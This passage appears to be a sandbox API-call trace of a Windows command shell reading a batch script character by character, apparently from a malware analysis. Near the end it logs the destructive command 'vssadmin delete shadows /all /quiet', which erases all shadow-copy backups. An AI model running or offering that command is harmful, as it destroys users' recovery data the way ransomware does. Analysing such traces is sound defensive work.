lpDistanceToMoveHigh=0x0) returned 0x0 [0111.220] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.220] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0111.220] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.220] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.220] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.220] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0111.220] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.220] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.220] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.220] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0111.220] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.220] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.220] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.220] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0111.220] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.220] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.220] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.221] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0111.221] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.221] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.221] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.221] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0111.221] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.221] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.221] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.221] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0111.221] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.221] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.221] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.221] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0111.221] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.221] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.221] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.221] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0111.221] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.222] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.222] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.222] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0111.222] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.222] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.222] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.222] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0111.222] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.222] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.222] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.222] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0111.222] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.222] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.222] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.222] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0111.222] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.222] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.222] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.222] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0111.222] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.222] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.222] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.222] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0111.223] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.223] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.223] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.223] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0111.223] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.223] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.223] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.223] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0111.223] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.223] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.223] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.223] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0111.223] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.223] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.223] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.223] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0111.223] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.223] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.224] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.224] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0111.224] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.224] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.224] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.224] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0111.224] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.224] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.224] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.224] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0111.224] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.224] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.224] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.224] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0111.224] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.224] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.224] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.225] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0111.225] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.225] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.225] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.225] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0111.225] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.225] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.225] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.225] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0111.225] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.225] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.225] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.225] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0111.225] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.225] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.225] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.225] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0111.225] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.225] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.225] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.225] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0111.225] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.225] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.226] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.226] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0111.226] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.226] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.226] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.226] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0111.226] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.226] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.226] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.226] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0111.226] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.226] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.226] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.226] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0111.226] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.226] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.226] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.226] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0111.226] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.226] GetFileType (hFile=0x248) returned 0x3 [0111.226] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.226] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.226] _get_osfhandle (_FileHandle=1) returned 0x254 [0111.226] GetFileType (hFile=0x254) returned 0x3 [0111.227] _get_osfhandle (_FileHandle=1) returned 0x254 [0111.227] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0111.227] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e20a9970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xbc75eff878, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesWritten=0xbc75eff878*=0x24, lpOverlapped=0x0) returned 1 [0111.227] GetProcessHeap () returned 0x21cb43d0000 [0111.227] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x4012) returned 0x21cb43d8fc0 [0111.227] GetProcessHeap () returned 0x21cb43d0000 [0111.227] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d8fc0) returned 1 [0111.228] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0111.228] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0111.228] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0111.228] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0111.228] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0111.228] 